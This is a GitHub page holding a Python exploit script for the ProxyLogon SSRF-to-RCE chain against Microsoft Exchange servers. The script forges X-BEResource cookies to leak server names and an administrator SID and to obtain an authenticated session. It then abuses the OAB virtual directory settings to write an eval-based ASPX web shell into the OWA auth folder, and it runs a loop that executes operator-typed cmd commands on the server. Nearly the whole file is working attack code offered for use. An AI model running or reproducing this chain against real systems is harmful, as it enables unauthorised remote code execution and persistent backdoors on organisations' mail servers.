-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathExchange_SSRFtoRCEChainExploit.py
More file actions
304 lines (223 loc) · 10.3 KB
/
Copy pathExchange_SSRFtoRCEChainExploit.py
File metadata and controls
304 lines (223 loc) · 10.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
# -*- coding: utf-8 -*
'''
Exchange RCE Chain Exploit
Author: evilash@lab2
'''
import requests
import sys
import string
import random
import re
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
#随机生成请求的静态文件名
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
#获取DomainName
#def GetDomainName():
def reqAutodiscover(url, FQDN_name, mail_valid):
try:
headers_for_autodiscover = {
"User-Agent": user_agent,
"Cookie": "X-BEResource={FQDN}/autodiscover/autodiscover.xml?a=~1942062522;".format(FQDN=FQDN_name),
"Connection": "close",
"Content-Type": "text/xml"
}
res =requests.Session()
req = res.post(url + '/ecp/' + random_name, headers=headers_for_autodiscover, verify=False,timeout=15)
#print(req.text)
if req.status_code != 200:
print("(+) Autodiscover Error! Maybe not vul")
exit()
domainname = req.headers["X-CalculatedBETarget"].split(',')[1]
print("(+) Domain Name = " + domainname)
res.close()
tmpmail = domainname[domainname.find(".")+1:]
mail_valid = mail_valid + '@' +tmpmail
autodiscover_payload = '''
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>{mail}</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
'''.format(mail=mail_valid)
req = res.post(url + '/ecp/' + random_name, headers=headers_for_autodiscover, data=autodiscover_payload, verify=False,timeout=15)
if "<LegacyDN>" not in req.text or "The email address can't be found." in req.text:
print("(-) Can not get LegacyDN!, Because MailName Wrong!")
exit()
Guestsid = req.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0]
print("(+) Guest SID = " + Guestsid)
legacyDn = req.text.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
#legacyDN = re.findall('(?:<LegacyDN>)(.+?)(?:</LegacyDN>)', txtstr)
print("(+) Got DN: " + legacyDn)
MailBoxId = req.text.split('<Server>')[1].split('</Server>')[0]
print("(+) Got MailBoxId: " + MailBoxId)
MapiRequest(url, legacyDn, FQDN_name, MailBoxId)
except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
#print(e)
pass
def MapiRequest(url, legacyDn, FQDN_name, MailBoxId):
headers_for_mapi = {
"User-Agent": user_agent,
"Cookie": "X-BEResource=Administrator@{FQDN}:444/mapi/emsmdb?MailboxId={ID}&a=~1942062522;".format(FQDN=FQDN_name, ID=MailBoxId),
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:2",
}
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
try:
req = requests.post(url + '/ecp/' + random_name, headers=headers_for_mapi, data=mapi_body, verify=False)
if req.status_code != 200 or "act as owner of a UserMailbox" not in req.text:
print("(-) Mapi Error!")
exit()
sid = req.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
print("(+) Got User SID: " + sid)
rtmpsid = sid[sid.rfind("-")+1:]
if rtmpsid != '500':
ltmpsid = sid[:sid.rfind("-")+1]
sid = ltmpsid + '500'
print("(+) Fixed User SID: " + sid)
ProxyLogonRequest(url, FQDN_name, sid)
except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
print(e)
pass
def ProxyLogonRequest(url, FQDN_name, sid):
headers_for_proxylogon ={
"Cookie": "X-BEResource=Administrator@{FQDN}:444/ecp/proxyLogon.ecp?a=~1942062522;".format(FQDN=FQDN_name),
"Content-Type": "text/xml",
"msExchLogonAccount": "S-1-5-21-3257950196-2120074785-2454614602-500",
"msExchLogonMailbox": "S-1-5-20",
#"msExchTargetmailbox": "micle@mit.loc",
#"X-vDirObjectId": "S-1-5-21-3257950196-2120074785-2454614602-500",
"User-Agent": user_agent
}
proxyLogon_request = """<r at="Negotiate" ln="john"><s>{SID}</s></r>""".format(SID=sid)
#proxyLogon_request = """<r at="Negotiate" ln="john"><s>{SID}</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>""".format(SID=sid)
try:
#res = requests.session()
req = requests.post(url + '/ecp/' + random_name, headers=headers_for_proxylogon, data=proxyLogon_request, verify=False)
#print(req.headers)
if req.status_code != 241 or not "set-cookie" in req.headers:
print("(-) Proxylogon Error!")
exit()
sess_id = req.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = req.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("(+) Got session id: " + sess_id)
print("(+) Got canary: " + msExchEcpCanary)
UploadWebshell(url, FQDN_name, sess_id, msExchEcpCanary)
except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
print(e)
pass
def UploadWebshell(url, FQDN_name, sess_id, msExchEcpCanary):
#Step 1
headers_for_step1={
"Cookie": "X-BEResource=Administrator@{FQDN}:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={SESSION}; msExchEcpCanary={msExchEcpCanary}".format(FQDN=FQDN_name, SESSION=sess_id, msExchEcpCanary=msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
}
json_for_step1={
"filter": {
"Parameters": {
"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "All"
}
},
"sort": {}
}
try:
#1
req = requests.post(url + '/ecp/' + random_name, headers=headers_for_step1, json=json_for_step1, verify=False)
#print(req.text)
if req.status_code != 200:
print("(-) GetOAB Error!")
exit()
oabId = req.text.split('"RawIdentity":"')[1].split('"')[0]
print("(+) Got OAB id: " + oabId)
#Step 2
headers_for_upload1={
"Cookie": "X-BEResource=Administrator@{FQDN}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={SESSION}; msExchEcpCanary={msExchEcpCanary}".format(FQDN=FQDN_name, SESSION=sess_id, msExchEcpCanary=msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
}
json_for_upload1 = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {
"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://test/#{SHELLPATH}".format(SHELLPATH=shell_content)}}}
#upload1
req = requests.post(url + '/ecp/' + random_name, headers=headers_for_upload1, json=json_for_upload1, verify=False)
#print(req.text)
if req.status_code != 200:
print("(-) Set external url Error!")
exit()
print("(+) Set external url Success!")
#upload2
headers_for_upload2={
"Cookie": "X-BEResource=Admin@{FQDN}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={SESSION}; msExchEcpCanary={msExchEcpCanary}".format(FQDN=FQDN_name, SESSION=sess_id, msExchEcpCanary=msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
}
json_for_upload2 = {
"identity": {
"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId
},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path
}
}
}
#upload2
rep = requests.post(url + '/ecp/' + random_name, headers=headers_for_upload2, json=json_for_upload2, verify=False)
if rep.status_code != 200:
print("(-) Write Shell Error!")
exit()
print("(+) Write Shell Success!")
print('(+) Webshell at %s/owa/auth/%s '%(url, shell_name))
time.sleep(2)
print("(+) Execute Command to proof:\n")
while True:
cmd = input('CMD: ')
#cmd = 'whoami'
if cmd == 'exit':
exit()
shell_body_exec = '''exec_code=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())'''%cmd
shell_req = requests.post('%s/owa/auth/%s'%(url, shell_name),headers={'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': user_agent},data=shell_body_exec,verify=False)
print(shell_req.text.split('Name :')[0])
except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
print(e)
pass
def GetFQDN(url, mail_valid):
try:
print('[+] Target: %s'%url)
res =requests.Session()
req = res.post(url + '/owa/auth.owa', verify=False,timeout=15)
if not req.status_code == 400:
print('[-] Can not get FQDN!')
exit(0)
FQDN_name = req.headers["X-FEServer"]
print('(+) Getting FQDN Name: %s'%(FQDN_name))
reqAutodiscover(url, FQDN_name, mail_valid)
except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
print(e)
pass
random_name = id_generator(3) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
#shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
shell_content = '<%@ Page Language="Jscript"%></**/eval(Request.Item["fape"],"unsafe");%>'
shell_name = "tes2.aspx"
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\{SHELLNAME}".format(SHELLNAME=shell_name)
#shell_path = "inetpub\\wwwroot\\{SHELLNAME}".format(SHELLNAME=shell_name)
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
if(len(sys.argv) < 3 or sys.argv[1] == '-h'):
print('[*] ProxyLogon-Exchange SSRF to RCE Exploit Chain.\n - Author @Evilash\n./%s <https://url> <MailUser>\n'%(sys.argv[0]))
exit(0)
print("[*] ProxyLogon-Exchange SSRF to RCE Exploit Chain.\n - Author @Evilash\n")
GetFQDN(sys.argv[1], sys.argv[2])